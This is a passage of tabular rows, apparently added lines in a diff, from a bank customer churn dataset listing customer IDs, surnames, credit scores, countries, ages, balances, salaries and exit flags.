+2891,15689616,Ward,586,Spain,Male,34,5,168094.01,1,0,0,20058.61,0 +2892,15774224,Nixon,613,Germany,Female,30,5,131563.88,2,1,0,170638.98,0 +2893,15701291,Chidubem,601,France,Male,44,3,0,2,1,0,30607.11,0 +2894,15719606,Rivers,657,France,Male,50,9,0,2,0,0,37171.46,0 +2895,15644119,Sochima,531,France,Male,31,3,0,1,1,1,42589.33,0 +2896,15646859,Heydon,621,Germany,Male,47,7,107363.29,1,1,1,66799.28,0 +2897,15606836,Lombardo,782,France,Female,33,2,94493.03,1,0,1,101866.39,0 +2898,15664150,Holland,528,Germany,Female,29,9,170214.23,2,1,0,49284,0 +2899,15624510,Tien,696,France,Male,52,6,139781.06,1,1,0,27445.4,1 +2900,15810944,Bryant,586,France,Female,35,7,0,2,1,0,70760.69,0 +2901,15668575,Hao,626,Spain,Female,26,8,148610.41,3,0,1,104502.02,1 +2902,15603246,Genovesi,498,France,Male,73,2,170241.7,2,1,1,165407.96,0 +2903,15804002,Kovalev,691,France,Female,33,1,128306.83,1,1,1,113580.79,0 +2904,15728773,Hsieh,568,France,Female,47,7,0,2,1,1,45978.39,0 +2905,15598044,Debellis,715,France,Female,35,3,0,1,1,1,152012.36,0 +2906,15694829,Chibueze,680,Germany,Male,32,7,175454,1,0,1,77349.92,0 +2907,15600575,Padovano,802,Spain,Male,41,6,0,2,1,0,47322.05,0 +2908,15727311,Yen,539,France,Female,22,0,100885.93,2,1,1,38772.65,0 +2909,15570769,Kibble,494,France,Male,69,9,93320.8,1,1,1,24489.44,0 +2910,15606274,Lori,594,Germany,Male,38,6,63176.44,2,1,1,14466.08,0 +2911,15746139,Enemuo,596,France,Male,33,2,139451.67,1,0,0,63142.12,0 +2912,15704987,Lu,649,France,Female,52,8,49113.75,1,1,0,41858.43,0 +2913,15628972,Nebeolisa,699,Germany,Male,32,1,123906.22,3,1,1,127443.82,1 +2914,15697686,Stewart,787,France,Female,40,6,0,2,1,1,84151.98,0 +2915,15733883,Ward,604,France,Male,28,7,0,2,0,0,58595.64,0 +2916,15617482,Milanesi,489,Germany,Female,52,1,131441.51,1,1,0,37240.11,1 +2917,15704583,Chikwado,651,France,Male,56,2,0,1,1,0,114522.68,1 +2918,15621083,Douglas,698,France,Male,57,6,136325.48,2,1,1,72549.27,1 +2919,15649487,Sal,578,Germany,Female,38,4,113150.44,2,1,0,176712.59,1 +2920,15736760,Douglas,538,Spain,Female,42,9,0,1,0,0,152855.96,0 +2921,15714658,Yates,696,France,Female,33,4,0,2,1,1,73371.65,0 +2922,15599081,Watt,507,Germany,Female,46,8,102785.16,1,1,1,70323.68,0 +2923,15705113,P'an,685,Spain,Male,34,6,83264.28,1,0,0,9663.28,0 +2924,15631159,H?,705,Germany,Male,41,4,72252.64,2,1,1,142514.66,0 +2925,15792818,Perry,499,Germany,Female,29,6,148051.52,1,1,0,118623.94,0 +2926,15633531,Lavrov,717,France,Female,76,9,138489.66,1,1,1,68400.14,0 +2927,15744529,Chiekwugo,510,France,Male,63,8,0,2,1,1,115291.86,0 +2928,15669656,Macdonald,632,France,Male,32,6,111589.33,1,1,1,170382.99,0 +2929,15581198,Jenkins,668,Germany,Female,39,0,122104.79,1,1,0,112946.67,1 +2930,15729054,Korovina,744,Germany,Male,32,4,96106.83,1,1,1,79812.77,0 +2931,15573452,Manning,663,Germany,Male,42,7,115930.87,1,1,0,19862.78,0 +2932,15776733,Wilson,638,Germany,Female,37,7,124513.66,2,1,0,158610.89,0 +2933,15724858,Begum,688,France,Female,54,9,0,1,1,0,191212.63,1 +2934,15713144,Ingrassia,588,Spain,Male,46,8,0,1,1,0,61931.21,0 +2935,15690188,Maclean,631,France,Male,33,7,0,1,1,1,58043.02,1 +2936,15689425,Olejuru,687,Spain,Male,35,8,100988.39,2,1,0,22247.27,0 +2937,15671766,Enyinnaya,599,France,Male,44,10,118577.24,1,1,1,31448.52,0 +2938,15782806,Watson,718,Spain,Male,28,6,0,2,1,0,146875.86,0 +2939,15764419,Langdon,730,France,Male,27,5,0,2,1,1,116081.93,0 +2940,15591915,Frolov,533,France,Female,39,2,0,1,0,1,73669.94,1 +2941,15772798,Chikezie,711,Spain,Female,28,5,0,2,1,1,93959.96,0 +2942,15792008,Zetticci,555,Spain,Female,26,9,0,2,0,1,158918.03,0 +2943,15715541,Yang,850,France,Female,42,9,113311.11,1,1,1,198193.75,0 +2944,15639277,Lin,678,France,Female,41,9,0,1,0,0,13160.03,0 +2945,15798850,Goddard,576,France,Male,32,7,0,2,1,0,4660.91,0 +2946,15776348,Rogers,835,Germany,Male,20,4,124365.42,1,0,0,180197.74,1 +2947,15727696,Zubareva,592,France,Male,42,1,147249.29,2,1,1,63023.02,0 +2948,15793813,Onochie,774,France,Male,36,7,103688.19,1,0,1,118971.74,0 +2949,15694395,Ts'ui,620,France,Female,29,1,138740.24,2,0,0,154700.61,0 +2950,15764195,Newsom,519,Spain,Male,39,4,111900.14,1,1,1,97577.17,0 +2951,15744919,Genovese,734,Spain,Female,37,0,152760.24,1,1,1,48990.5,0 +2952,15671655,Thorpe,763,Germany,Male,31,7,143966.3,2,1,1,140262.96,1 +2953,15654901,Horton,733,France,Male,51,10,141556.96,1,1,0,130189.53,0 +2954,15649136,Williamson,650,France,Female,43,6,0,2,1,1,16301.91,0 +2955,15775562,Shoobridge,538,France,Female,33,5,0,2,1,0,126962.41,0 +2956,15807481,Peng,577,France,Female,46,1,0,1,1,1,158750.53,0 +2957,15642885,Gray,792,France,Male,30,8,0,2,1,0,199644.2,0 +2958,15789109,Watson,686,France,Female,41,10,0,1,1,1,144272.71,1 +2959,15814004,Fyodorova,589,France,Male,29,2,0,2,0,1,98320.27,0 +2960,15673619,Bazhenov,530,France,Male,25,9,162560.32,1,1,0,64129.03,0 +2961,15595135,Solomon,778,Germany,Female,29,7,123229.46,1,1,0,181221.09,0 +2962,15583681,Layh,616,Spain,Male,31,7,76665.71,2,1,1,163809.08,0 +2963,15605000,John,550,France,Male,38,9,140278.99,3,1,1,171457.06,1 +2964,15718071,Tuan,655,France,Female,51,3,0,2,0,1,15801.02,0 +2965,15679760,Slattery,721,France,Male,46,1,115764.32,2,0,0,102950.79,0 +2966,15654574,Onyekachi,499,Germany,Male,36,5,131142.53,2,1,0,174918.46,0 +2967,15577178,Genovese,511,France,Male,45,5,68375.27,1,1,0,193160.25,1 +2968,15595324,Daniels,579,Germany,Female,39,5,117833.3,3,0,0,5831,1 +2969,15756932,Caldwell,696,Spain,Female,36,7,0,2,1,1,82298.59,0 +2970,15726358,Chiemenam,681,France,Male,34,7,0,2,0,0,130686.59,0 +2971,15595228,Wanliss,815,France,Male,45,7,0,1,0,1,52885.23,1 +2972,15782530,Bruce,681,Spain,Male,30,2,111093.01,1,1,0,68985.99,0 +2973,15592877,Wright,641,Spain,Male,42,9,132657.55,1,1,0,35367.19,0 +2974,15651983,Fang,591,France,Female,56,9,128882.49,1,1,1,196241.94,1 +2975,15746737,Eames,565,Germany,Male,59,9,69129.59,1,1,1,170705.53,0 +2976,15774179,Sutherland,487,France,Male,37,6,0,2,1,1,126477.41,0 +2977,15667265,Cavenagh,729,France,Male,39,4,121404.64,1,1,1,159618.17,0 +2978,15655123,Dumetolisa,505,Spain,Female,45,9,131355.3,3,1,0,195395.33,1 +2979,15595917,Mackay,580,France,Female,35,1,102097.33,1,0,1,168285.85,0 +2980,15668385,Dellucci,642,France,Male,40,1,154863.15,1,1,1,138052.51,0 +2981,15709476,Kenyon,850,Spain,Female,41,3,99945.93,2,1,0,71179.31,0 +2982,15711218,Parry,616,Germany,Male,39,2,121704.32,2,1,0,55556.3,0 +2983,15798659,Kennedy,526,Spain,Female,43,3,0,2,1,0,31705.19,0 +2984,15663939,Arnott,523,Germany,Male,35,8,138782.76,1,1,1,186118.93,0 +2985,15694946,Hanson,663,France,Male,35,9,0,2,1,1,195580.28,0 +2986,15631912,T'ao,840,France,Male,30,8,136291.71,1,1,0,54113.38,0 +2987,15768816,Shen,570,Germany,Male,42,0,107856.57,2,1,0,127528.84,0 +2988,15682268,Steere,676,Germany,Female,26,1,108348.66,1,0,0,60231.74,1 +2989,15684801,Abbott,689,France,Male,47,1,93871.95,3,1,0,156878.42,1 +2990,15636428,Sutherland,703,Spain,Female,45,1,0,1,1,0,182784.11,1 +2991,15809823,Thurgood,491,Germany,Male,19,2,125860.2,1,0,0,129690.5,0 +2992,15699284,Johnson,584,France,Male,49,8,172713.44,1,1,0,113860.81,0 +2993,15786993,Lung,810,France,Female,51,5,0,2,0,1,184524.74,0 +2994,15709441,Cocci,745,Spain,Female,59,8,0,1,1,1,36124.98,0 +2995,15710257,Matveyeva,625,France,Female,39,3,130786.92,1,0,1,121316.07,0 +2996,15582492,Moore,535,France,Female,29,2,112367.34,1,1,0,185630.76,0 +2997,15575694,Yobachukwu,729,Spain,Female,45,7,91091.06,2,1,0,71133.12,0 +2998,15756820,Fleming,655,France,Female,26,7,106198.5,1,0,1,32020.42,0 +2999,15766289,Dickinson,751,France,Male,47,5,142669.93,2,1,0,162760.96,0 +3000,15593014,Evseyev,525,France,Male,33,1,112833.35,1,0,1,175178.56,0 +3001,15584545,Aksenov,532,France,Female,40,5,0,2,0,1,177099.71,0 +3002,15675949,Fleming,696,Spain,Female,43,4,0,2,1,1,66406.37,0 +3003,15672091,Ulyanov,786,Germany,Female,32,2,104336.43,2,0,0,59559.81,0 +3004,15801658,Summers,580,France,Male,55,6,104305.74,1,0,1,175750.21,0 +3005,15706185,Clements,596,Germany,Male,47,5,140187.1,2,1,1,174311.3,0 +3006,15789863,Kazakova,683,France,Male,39,4,0,2,1,0,171716.81,0 +3007,15720943,Pirozzi,747,France,Female,45,1,114959.12,1,1,0,189362.39,1 +3008,15697997,Jamieson,602,France,Male,33,5,164704.38,1,0,1,180716.1,1 +3009,15665416,Ferri,779,France,Male,62,10,119096.55,1,0,1,116977.89,0 +3010,15660200,Mai,551,France,Male,31,1,0,2,1,1,185105.44,0 +3011,15619653,Hannaford,666,France,Male,47,2,0,1,1,0,35046.97,1 +3012,15773447,Fomin,526,Spain,Male,30,8,0,1,1,0,36251,0 +3013,15739160,Mahon,849,France,Female,41,9,115465.28,1,1,0,103174.5,0 +3014,15689237,Shaw,471,France,Female,27,4,0,2,1,0,122642.09,0 +3015,15679297,Volkova,628,Spain,Male,43,3,184926.61,1,1,0,122937.57,0 +3016,15591433,Miles,674,Germany,Male,43,8,85957.88,2,1,0,8757.39,0 +3017,15642725,Madison,797,France,Male,32,10,114084.6,1,0,1,125782.29,0 +3018,15701962,Scott,590,Spain,Female,29,2,166930.76,2,1,0,122487.73,0 +3019,15811613,Voss,588,France,Female,27,8,0,1,1,0,20066.38,0 +3020,15741049,Colebatch,577,France,Male,29,7,0,2,1,1,55473.15,0 +3021,15724423,Wilson,571,France,Female,38,6,107193.82,2,0,0,38962.94,0 +3022,15574305,T'ang,680,France,Male,36,3,116275.12,1,1,1,63795.8,0 +3023,15678168,Gibson,648,Spain,Female,27,7,0,2,1,1,163060.43,0 +3024,15697020,Hs?eh,618,France,Male,39,2,91068.56,1,1,0,26578.69,0 +3025,15610801,Pan,648,Germany,Male,41,5,123049.21,1,0,1,5066.76,0 +3026,15745232,Chikelu,759,France,Female,39,6,0,2,1,1,140497.67,0 +3027,15722758,Allan,585,France,Male,40,7,0,2,0,0,146156.98,0 +3028,15792102,Yefremova,774,France,Female,42,3,137781.65,1,0,0,199316.19,0 +3029,15675185,Chuang,697,Germany,Female,48,2,108128.96,2,1,1,103944.37,0 +3030,15801247,Fan,605,Spain,Male,39,10,105317.73,2,1,0,138021.36,0 +3031,15725660,Dellucci,676,France,Male,20,1,80569.73,1,0,0,68621.98,0 +3032,15638963,Garran,678,France,Female,22,4,174852.89,1,1,1,28149.06,0 +3033,15800061,Moretti,495,Spain,Female,45,3,89158.94,3,1,0,135169.76,1 +3034,15578006,Yao,787,France,Female,85,10,0,2,1,1,116537.96,0 +3035,15668504,Lucchesi,770,France,Male,36,2,89800.14,1,1,1,105922.69,0 +3036,15687491,Nkemdilim,817,Germany,Male,45,9,101207.75,1,0,0,88211.12,1 +3037,15610403,Anderson,659,France,Male,43,1,106086.42,2,1,0,26900.63,0 +3038,15741094,Sagese,693,France,Male,21,1,0,2,1,1,3494.02,0 +3039,15807909,Rubensohn,744,France,Male,47,9,0,2,1,0,113163.17,0 +3040,15666141,Baldwin,829,Spain,Female,26,8,101440.36,2,1,1,19324.5,0 +3041,15617134,Iqbal,716,France,Male,38,4,0,2,1,0,189678.7,0 +3042,15783029,Monaldo,671,France,Male,34,7,106603.74,2,1,1,26387.71,0 +3043,15622833,Mahon,835,Germany,Female,29,10,130420.2,2,0,0,106276.55,0 +3044,15746422,Muir,636,France,Female,38,1,0,1,1,0,45015.38,0 +3045,15750839,Burns,649,Spain,Male,29,2,45022.23,1,1,1,173495.77,0 +3046,15749130,Dyer,621,Germany,Male,27,1,74298.43,1,1,1,52581.96,0 +3047,15779862,Lyons,658,Germany,Female,31,3,133003.03,1,0,1,146339.27,1 +3048,15767871,H?,784,Spain,Male,48,7,0,2,1,1,182609.97,0 +3049,15679651,Gardiner,783,Spain,Female,37,1,136689.66,1,1,0,197890.65,0 +3050,15576219,Cameron,615,France,Male,32,4,0,2,1,1,6225.63,0 +3051,15699247,Chapman,791,France,Female,44,5,0,2,1,1,123977.86,1 +3052,15619087,Taylor,762,France,Male,53,1,102520.37,1,1,1,170195.4,0 +3053,15605327,Namatjira,607,France,Male,35,2,0,2,1,1,114190.3,0 +3054,15610140,He,601,France,Female,34,5,0,2,1,0,27022.57,0 +3055,15791174,Leibius,540,Spain,Male,67,1,88382.01,1,0,1,59457,0 +3056,15602373,White,812,France,Male,44,4,115049.15,2,1,0,165038.41,0 +3057,15762605,Wall,685,France,Male,58,1,104796.54,1,1,1,154181.41,0 +3058,15598840,Moretti,680,France,Male,33,1,123082.08,1,1,0,134960.98,0 +3059,15744279,Patterson,680,Spain,Female,58,8,0,2,1,1,65708.5,0 +3060,15670619,Coppin,631,France,Female,33,8,0,2,0,0,117374.22,0 +3061,15599533,Tsao,569,France,Female,43,7,0,2,1,1,77703.19,0 +3062,15757837,Kao,584,Germany,Male,33,3,88311.48,2,1,1,177651.38,0 +3063,15697574,Stewart,582,France,Female,40,9,0,3,1,1,60954.45,0 +3064,15578738,Tuan,609,France,Male,32,7,71872.19,1,1,1,151924.9,0 +3065,15762228,Barnes,506,Spain,Male,35,6,110046.93,2,1,0,26318.73,0 +3066,15614827,Sun,503,France,Male,42,8,104430.08,1,1,1,147557.71,0 +3067,15789815,Fallaci,503,France,Female,28,5,0,2,1,0,125918.17,0 +3068,15579781,Buccho,806,Germany,Male,31,10,138653.51,1,1,0,190803.37,0 +3069,15587013,Tien,653,France,Female,31,7,102575.04,1,1,1,11043.54,0 +3070,15570932,Pirozzi,666,France,Male,43,7,137780.74,2,1,1,119100.05,1 +3071,15794661,Liu,674,Spain,Male,32,2,0,2,1,0,140579.17,0 +3072,15581654,Long,798,France,Male,32,7,0,2,0,1,37731.95,0 +3073,15644296,Scott,740,France,Female,30,8,105209.54,1,1,0,1852.58,0 +3074,15614420,Gerasimova,531,Germany,Female,32,0,109570.21,2,1,1,172049.84,0 +3075,15609653,Ifeatu,614,Germany,Female,44,6,118715.86,1,1,0,133591.11,1 +3076,15594577,De Luca,556,France,Male,35,10,0,2,1,1,192751.18,0 +3077,15584114,Ogbonnaya,678,Germany,Female,43,2,153393.18,2,1,1,193828.27,0 +3078,15673367,Humffray,587,Germany,Male,33,6,132603.36,1,1,0,55775.72,0 +3079,15685576,Degtyaryov,527,Spain,Female,36,6,0,2,1,1,102280.29,0 +3080,15774727,Monaldo,757,Germany,Female,34,1,129398.01,2,0,0,44965.44,0 +3081,15694288,Cawthorne,468,Spain,Male,28,3,0,2,1,0,170661.02,0 +3082,15603319,Graham,693,France,Male,29,2,151352.74,1,0,0,197145.89,0 +3083,15759066,Carpenter,483,France,Female,44,5,136836.49,1,1,0,192359.9,1 +3084,15814816,Kambinachi,466,France,Male,40,4,91592.06,1,1,0,141210.18,1 +3085,15724402,Tyler,770,France,Female,30,8,0,2,1,0,100557.03,0 +3086,15571059,Martin,734,France,Female,54,3,0,1,1,0,130805.54,1 +3087,15674206,Walker,716,France,Female,22,8,0,2,1,1,92606.98,0 +3088,15715160,Khan,439,France,Male,36,2,165536.28,2,1,1,123956.83,0 +3089,15730448,Iroawuchi,538,Germany,Male,25,5,62482.95,1,1,1,102758.43,0 +3090,15662067,Summers,743,France,Male,40,8,68155.59,1,1,0,94876.65,0 +3091,15779581,Bottrill,734,Spain,Female,43,3,55853.33,2,0,1,94811.85,1 +3092,15662901,Hu,656,France,Male,37,2,0,2,0,1,67840.81,0 +3093,15689751,Jones,666,France,Female,31,2,79589.43,1,0,0,4050.57,0 +3094,15667742,Vincent,627,Spain,Male,41,5,100880.76,1,0,1,134665.25,0 +3095,15738448,Sanford,480,Germany,Female,25,3,174330.35,2,0,0,181647.13,0 +3096,15680243,Brown,792,France,Male,19,7,143390.51,1,1,0,33282.84,0 +3097,15745083,Lei,613,Germany,Male,59,8,91415.76,1,0,0,27965,1 +3098,15708228,Toscani,476,Germany,Male,30,3,134366.42,1,1,0,68343.53,0 +3099,15628523,Chien,539,France,Female,24,3,0,2,1,1,198161.07,0 +3100,15708196,Uchenna,696,Spain,Male,60,8,88786.81,1,1,1,196858.4,0 +3101,15735549,Lori,810,Germany,Male,35,3,96814.46,2,1,1,120511.03,0 +3102,15809347,Fanucci,763,Germany,Male,32,9,160680.41,1,1,0,30886.35,0 +3103,15660866,Chimaobim,640,France,Female,29,3,0,2,1,0,2743.69,0 +3104,15766609,Jowers,655,France,Female,47,10,0,2,1,0,167778.62,0 +3105,15654230,Miller,526,Germany,Male,31,5,145537.21,1,1,0,132404.64,0 +3106,15794566,Kirsova,678,France,Female,28,4,0,2,1,1,144423.17,1 +3107,15800890,T'ien,554,France,Female,45,6,0,2,1,1,181204.5,0 +3108,15697424,Ku,597,Spain,Female,30,2,119370.11,1,1,1,182726.22,1 +3109,15724536,Chin,560,Spain,Female,28,1,0,2,1,1,120880.72,0 +3110,15735878,Law,850,Germany,Female,47,10,134381.52,1,0,0,26812.89,1 +3111,15707596,Chung,546,Germany,Female,74,8,114888.74,2,1,1,66732.63,1 +3112,15657163,Cockrum,623,Germany,Male,42,1,149332.48,2,1,0,100834.22,0 +3113,15622478,Greaves,698,France,Female,40,7,105061.74,3,1,0,107815.31,1 +3114,15779529,Grant,620,France,Male,32,7,0,2,1,1,34665.79,0 +3115,15636023,O'Donnell,619,France,Female,40,10,0,1,1,1,147093.84,1 +3116,15582066,Maclean,561,France,Male,21,4,0,1,1,1,36942.35,0 +3117,15666675,Hsieh,753,France,Female,39,7,155062.8,1,1,1,16460.77,0 +3118,15732987,Hs?,721,Spain,Male,43,3,88798.34,1,0,0,45610.63,0 +3119,15789432,Mazzanti,451,France,Male,33,6,0,2,1,0,184954.11,0 +3120,15663161,Chiu,680,Germany,Female,51,5,143139.87,1,0,0,47795.43,1 +3121,15694879,Reeves,590,Spain,Female,23,7,0,2,1,0,196789.9,0 +3122,15593715,Castiglione,634,Germany,Male,27,3,107027.52,1,1,0,173425.68,0 +3123,15575002,Ferguson,676,France,Male,29,4,140720.93,1,1,0,36221.18,0 +3124,15622171,Nnamdi,642,France,Male,30,8,80964.57,2,1,0,174738.2,0 +3125,15795224,Wu,760,France,Male,39,6,178585.46,1,1,0,67131.3,1 +3126,15685346,Chu,736,Spain,Female,26,4,135889.13,1,1,1,165692.03,0 +3127,15691808,King,656,France,Male,43,7,134919.85,1,1,0,194691.95,0 +3128,15721007,Charlton,776,Germany,Male,33,8,115130.34,1,0,0,129525.5,1 +3129,15794253,Marsh,832,Spain,Female,34,6,138190.13,2,0,1,146511.2,0 +3130,15694453,Walker,631,Germany,Male,37,9,131519.49,2,1,1,51752.18,0 +3131,15813113,Chang,795,Spain,Female,56,5,0,1,1,0,35418.69,1 +3132,15614187,Pottinger,648,Germany,Female,39,3,126935.98,2,0,1,57995.74,0 +3133,15619407,Buckley,615,France,Male,39,4,133707.09,1,1,1,108152.75,0 +3134,15646227,Folliero,682,France,Female,27,1,97893.2,1,1,0,166144.98,0 +3135,15660541,Olisanugo,694,France,Male,34,5,127900.03,1,1,0,101737.8,0 +3136,15753874,Kent,694,France,Male,37,10,143835.47,1,0,1,33326.71,0 +3137,15617877,Jessop,607,France,Male,44,0,0,2,1,1,81140.09,0 +3138,15772073,Hodge,664,France,Male,48,10,0,1,1,0,140173.17,1 +3139,15701537,Ignatiev,756,France,Male,60,2,0,1,1,1,166513.49,1 +3140,15736228,Chambers,645,France,Female,40,3,129596.77,1,1,1,103232.6,0 +3141,15780572,Mansom,653,Spain,Male,30,4,0,2,1,0,120736.04,0 +3142,15769596,Yen,710,Germany,Female,24,2,110407.44,2,0,0,15832.43,1 +3143,15586996,Azikiwe,697,France,Female,76,7,0,2,0,1,188772.45,0 +3144,15722061,Allen,619,Germany,Female,41,8,142015.76,2,1,0,114323.66,0 +3145,15638003,Komarova,648,Spain,Male,55,1,81370.07,1,0,1,181534.04,0 +3146,15775590,Mackay,482,Germany,Female,48,2,69329.47,1,0,0,102640.52,1 +3147,15730688,Yu,548,France,Female,28,8,116755.5,2,1,1,158585.17,1 +3148,15753102,Curtis,752,Spain,Male,44,6,83870.33,1,1,0,178722.24,0 +3149,15810075,Fang,648,France,Female,39,6,130694.89,2,1,1,153955.38,1 +3150,15723373,Page,643,Spain,Female,34,8,117451.47,1,1,0,65374.86,0 +3151,15795298,Olisaemeka,573,Germany,Female,35,9,206868.78,2,0,1,102986.15,0 +3152,15584320,Brennan,686,France,Female,39,3,111695.62,1,0,0,136643.84,0 +3153,15724161,Sutton,644,France,Female,40,9,137285.26,4,1,0,77063.63,1 +3154,15750056,Hyde,702,France,Female,29,6,149218.39,1,1,1,9633.01,0 +3155,15609637,Nkemakolam,652,France,Male,51,7,0,2,0,1,43496.36,0 +3156,15794493,Chimaijem,641,Spain,Male,32,7,0,2,1,1,24267.28,0 +3157,15569641,Sung,692,Germany,Female,41,8,130701.29,1,1,0,59354.24,1 +3158,15815236,Chiganu,574,Spain,Male,34,5,0,2,0,0,28269.86,0 +3159,15811177,Beneventi,643,France,Female,31,3,167949.48,1,1,0,143162.34,0 +3160,15680587,Esposito,834,France,Male,23,4,131254.81,1,1,0,20199.3,0 +3161,15672821,Owen,591,France,Male,28,5,0,2,1,1,48606.92,0 +3162,15767681,Smalley,470,Spain,Male,34,9,0,2,0,1,89013.67,0 +3163,15600379,Hsiung,608,Spain,Male,34,7,86656.13,1,0,1,59890.29,0 +3164,15801336,Ch'ang,649,Germany,Female,37,8,114737.26,1,1,1,106655.88,1 +3165,15721592,Barton,665,France,Female,38,5,0,2,1,0,156439.56,0 +3166,15581282,Lucchese,651,France,Female,39,6,0,1,1,0,24176.44,0 +3167,15746203,Hsia,555,Germany,Male,62,4,119817.33,1,0,1,43507.1,1 +3168,15583137,Pope,637,France,Female,48,7,130806.99,2,1,1,132005.85,1 +3169,15680752,Horrocks,675,France,Female,49,0,0,1,1,1,80496.71,1 +3170,15688172,Tai,677,Spain,Male,40,5,0,2,1,0,88947.56,0 +3171,15791373,Chikezie,850,Germany,Female,35,2,80931.75,1,0,0,12639.67,1 +3172,15589449,Frye,815,France,Female,56,3,0,3,1,1,94248.16,1 +3173,15692819,Toscani,665,Germany,Male,32,1,132178.67,1,0,0,11865.76,0 +3174,15727467,Mellor,485,France,Female,27,3,0,2,1,0,141449.86,0 +3175,15734312,Kang,577,Spain,Male,43,6,0,2,1,1,149457.81,0 +3176,15764604,Sutherland,586,France,Female,35,7,164769.02,3,1,0,119814.25,1 +3177,15613014,Hs?,722,Germany,Male,29,1,107233.85,2,1,0,24924.92,0 +3178,15759684,Ting,528,France,Female,27,7,176227.07,2,0,1,139481.53,0 +3179,15609669,Chuang,542,France,Female,39,4,109949.39,2,1,1,41268.65,0 +3180,15685536,Chu,552,France,Female,34,5,0,2,1,1,1351.41,0 +3181,15750447,Ozoemena,678,France,Female,60,10,117738.81,1,1,0,147489.76,1 +3182,15663249,Howells,575,Spain,Female,37,9,133292.45,1,1,0,111175.09,0 +3183,15638646,Lucchese,669,France,Female,43,1,160474.59,1,1,1,95963.14,0 +3184,15734161,Nnonso,636,France,Male,43,6,0,2,1,0,43128.95,0 +3185,15631070,Gerasimova,667,Germany,Male,55,9,154393.43,1,1,1,137674.96,1 +3186,15761950,Woronoff,652,Germany,Female,45,9,110827.49,1,1,1,153383.54,1 +3187,15649668,Wilhelm,637,Germany,Female,36,10,145750.45,2,1,1,96660.76,0 +3188,15713912,Nebechukwu,516,Spain,Female,45,8,109044.3,1,0,1,115818.16,0 +3189,15586757,Anenechukwu,801,France,Female,32,4,75170.54,1,1,1,37898.5,0 +3190,15596522,Meredith,692,France,Female,42,2,0,2,1,0,145222.93,0 +3191,15625395,Chinomso,585,France,Female,28,6,105795.9,1,1,1,41219.09,0 +3192,15760570,Stephenson,590,France,Male,32,5,0,2,1,0,59249.83,0 +3193,15566689,Chimaoke,554,Spain,Male,66,8,0,2,1,1,116747.62,0 +3194,15725794,Winters,659,France,Female,49,1,0,1,1,0,116249.72,1 +3195,15673539,Napolitani,690,France,Female,26,3,118097.87,1,1,0,61257.83,0 +3196,15705298,L?,697,Germany,Male,29,0,172693.54,1,0,0,141798.98,0 +3197,15675791,Williams,610,France,Male,36,4,129440.3,2,1,0,102638.35,0 +3198,15747043,Giles,599,Spain,Male,36,4,0,2,0,0,13210.56,0 +3199,15736397,Wang,544,France,Male,23,1,96471.2,1,1,0,35550.97,0 +3200,15678201,Robertson,548,France,Female,46,1,0,1,1,1,104469.06,1 +3201,15720745,Murray,635,Spain,Male,24,4,140197.18,1,1,1,142935.83,0 +3202,15637593,Greco,722,France,Male,20,6,0,2,1,0,195486.28,0 +3203,15598070,Marchesi,564,France,Female,33,4,135946.26,1,1,0,63170,0 +3204,15787550,Chao,719,France,Male,69,3,0,2,1,1,58320.06,0 +3205,15603942,Hawthorn,547,Germany,Male,50,3,81290.02,3,0,1,177747.03,1 +3206,15733973,Bibi,850,France,Female,42,8,0,1,1,0,19632.64,1 +3207,15596761,Hawdon,515,Germany,Male,60,9,113715.36,1,1,0,18424.24,1 +3208,15652400,Moss,667,Spain,Male,56,2,168883.08,1,0,1,18897.78,0 +3209,15717893,Briggs,607,Germany,Male,36,8,143421.74,1,1,0,97879.02,0 +3210,15622585,McIntyre,525,France,Male,26,7,153644.39,1,1,1,63197.88,0 +3211,15733964,Russo,606,Spain,Female,53,1,109330.06,1,1,1,75860.01,0 +3212,15753861,Ballard,686,Germany,Female,27,1,115095.88,2,0,0,78622.46,0 +3213,15747097,Hs?,611,France,Male,35,10,0,1,1,1,23598.23,1 +3214,15594762,Pisani,827,Spain,Male,46,1,183276.32,1,1,1,13460.27,0 +3215,15667417,Tao,572,France,Male,33,9,68193.72,1,1,0,19998.31,0 +3216,15684861,Thomson,726,France,Female,32,8,0,2,0,0,185075.63,0 +3217,15742204,Hsu,579,Germany,Male,31,6,139729.54,1,0,1,135815.38,0 +3218,15623502,Morrison,598,Spain,Female,56,4,98365.33,1,1,1,44251.33,0 +3219,15774872,Joslin,663,France,Male,36,10,0,2,1,0,136349.55,0 +3220,15611191,Scott,505,Germany,Female,37,10,122453.97,2,1,1,52693.99,0 +3221,15674331,Bidwill,576,Germany,Male,30,7,132174.41,2,0,0,93767.03,0 +3222,15619465,Cameron,555,Spain,Female,24,2,0,2,0,1,197866.55,0 +3223,15575247,Cartwright,524,France,Male,30,1,0,2,1,0,126812.85,0 +3224,15695679,Yao,776,Spain,Male,39,2,104349.45,1,0,0,79503.05,0 +3225,15713463,Tate,645,Germany,Female,41,2,138881.04,1,1,0,129936.53,1 +3226,15785170,Neal,850,Germany,Female,32,0,116968.91,1,0,0,175094.62,0 +3227,15796351,Yao,603,Germany,Male,35,1,105346.03,2,1,1,130379.5,0 +3228,15639576,Burns,691,France,Male,26,9,136623.19,1,1,0,153228,0 +3229,15693264,Onyinyechukwuka,583,France,Female,29,10,0,2,1,1,111285.85,0 +3230,15589715,Fulks,584,France,Female,66,5,0,1,1,0,49553.38,1 +3231,15769902,Christie,679,France,Female,33,6,0,2,1,1,98015.85,0 +3232,15587177,Lloyd,646,France,Male,36,6,124445.52,1,1,0,88481.32,0 +3233,15814553,Ball,559,France,Female,34,5,68999.66,2,1,1,66879.27,0 +3234,15601550,Genovesi,595,Spain,Male,36,6,85768.42,1,1,1,24802.77,0 +3235,15664907,Alexander,527,France,Male,47,1,0,1,1,0,21312.16,1 +3236,15612465,Siciliano,684,Spain,Male,34,9,100628,2,1,1,190263.78,0 +3237,15810800,Ositadimma,673,Spain,Female,32,0,0,1,1,1,72873.33,0 +3238,15665760,Kazantsev,802,Spain,Male,38,7,0,2,0,1,57764.65,0 +3239,15588080,Giles,675,France,Male,54,6,0,1,1,0,110273.84,1 +3240,15776844,Hao,762,Spain,Female,19,6,0,2,1,0,55500.17,0 +3241,15717560,Martin,580,France,Male,50,0,125647.36,1,1,0,57541.08,1 +3242,15629739,Hartley,621,Germany,Female,31,8,100375.39,1,1,1,90384.26,0 +3243,15729908,Allan,411,France,Female,36,10,0,1,0,0,120694.35,0 +3244,15716781,Dolgorukova,815,France,Male,24,7,171922.72,1,0,1,178028.96,0 +3245,15646936,Nnamdi,631,Germany,Female,32,2,146810.99,2,1,1,180990.29,0 +3246,15768151,Romano,514,Germany,Female,45,3,109032.23,1,0,1,155407.21,1 +3247,15579212,Chuang,638,France,Male,57,6,0,1,1,0,33676.48,1 